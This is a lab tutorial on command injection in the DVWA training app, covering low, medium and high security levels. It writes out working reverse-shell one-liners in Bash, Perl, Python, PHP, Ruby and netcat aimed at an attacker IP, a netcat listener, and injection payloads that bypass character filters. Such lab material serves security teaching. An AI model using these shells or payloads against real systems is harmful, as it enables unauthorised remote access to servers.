Exploiting code execution vulnerabilities in web applications
Code execution vulnerabilities happen where the output or content served from a web application can be controlled so that it triggers server-side code execution. In some inadequately composed web applications, the attackers may change server-side files by posting on a message board or guestbook field. It is sometimes conceivable to infuse code in the scripting language of the application itself. When you are analyzing any web application, make sure you check all available editable boxes where you can type or upload something. Some web developers leave those places insecure, and there is a high chance you may run some Linux commands.
Low-security level exploitation
Let’s see this in action. Select the “Command Execution” tab in the DVWA site and put an IP address of any live host then click on “submit.” This page will perform a “ping” command and show the response, as it is shown in the image below.
In a UNIX-based environment, you can run multiple commands at once by specifying the “semi-colon ‘;’” sign between each command. Let’s test it by just adding one command “pwd” to print the current working directory to the end of the “ping” command.
Ex: 10.10.10.4;pwd.
As you can see, it pinged and printed the current working directory. It shows that the web application has code execution vulnerability, and it means we can run any command to get a remote connection. Below are some examples that are written in different languages to get a remote connection.
The following examples assume the attacker’s IP is 10.10.10.4 and use port 8080 for the connection. Therefore in all of these cases, you need to listen for port 8080 using the following netcat command: “nc -vv -l -p 8080.”
BASH
bash -i >& /dev/tcp/10.10.10.4/8080 0>&1
PERL
perl -e ‘use Socket;$i=“10.10.10.4”;$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
PYTHON
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect
((“10.10.10.4”,8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno
(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
PHP
php -r ‘$sock=fsockopen(“10.10.10.4”,8080);exec(“/bin/sh -i <&3 >&3 2>&3”);’
RUBY
ruby -rsocket -e’f=TCPSocket.open(“10.10.10.4”,8080).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
NETCAT
nc -e /bin/sh 10.10.10.4 8080
Let’s use “Netcat” for this example and start listening for incoming connections using the “nc -vv -l -p 8080” command.
Next, we need to add netcat bash script “nc -e /bin/sh 10.10.10.4 8080” to the end of the “ping” command in the web application.
Once you hit a “submit” button, the netcat will receive a remote connection, as is shown in the screenshot.
From this point, you can use any Linux commands and explore more on the target web server.
Medium-security level exploitation
A large portion of vulnerabilities is abused when user input isn’t sanitized appropriately in POST requests and when accepting query string parameters during GET requests. GET requests are viewed as more progressively unsafe than POST. So most of the developers prefer to use POST requests in their applications, but these are equally dangerous when proper user input is not validated carefully. Typically we can execute commands utilizing unique characters that essentially append another command. These unique characters may look like “;” and “&&.” In any case, there are some more characters along with them that can be utilized to append commands. But in medium security, the above characters are stripped before sending them as input to “shell_exec.”
Let’s take a look at the source code and analyze it deeply. Here we can see that the restriction applied only to “&&” and “;.” So this means that we can use other characters like pipe “|” or a single “&” in command injection to bypass the medium-security of this server.
To see this in action, we can perform a simple example and print the working directory right after the ping request using the pipe “|” character.
Ex: (10.10.10.5 | pwd).
The pipe “|” character acts like “OR” and outputs the result of the second command, as is shown in the screenshot below.
Another good example would be to use a single “&” character and execute a preferred command after it. Here we will try to list (ls) the directory after the ping request.
Ex: (10.10.10.5 & ls).
A single “&” character acts like “AND” and outputs the result of both commands.
High-security level exploitation
We know that on the medium-security level, the DVWA web server puts restrictions by filtering out certain characters like “;” and “&&.” It’s still easy enough to bypass it by using only one “&” or one of the other characters that let us execute commands. Unfortunately, on the high-security level server, those types of attacks are not usable anymore since all unique characters are filtered out, as is shown in the screenshot below.
If you analyze the source code carefully, you’ll notice that the pipe “| “ character was not filtered properly. There is a space left between the pipe and the quotation mark. It means that we can insert an executable command in that empty space right after the pipe “|” character.
Let’s use the same example as we did at the medium security level but this time type pipe “|” character and the command all together without any spacing in between.
Ex: (10.10.10.5 |pwd).
Once you click the “Submit” button, the web server will execute the command and display the printed working directory on the screen.
On some versions of the DVWA web server (v1.0.7), the developers increased the security level and made it so hard to exploit. If you view the source code of the web page, you’ll notice an exciting design technique. It splits the IP address into four octets and treats each octet as an array. Then it checks if every array contains an integer (numerical) character. Once it clarifies that each octet is an integer, it puts the IP together and executes the “ping” command.
It is one of the best methods of security implementation on web applications that have not been compromised so far. If you come up with any ideas on how to bypass this security level, please share them on GitHub or internet forums.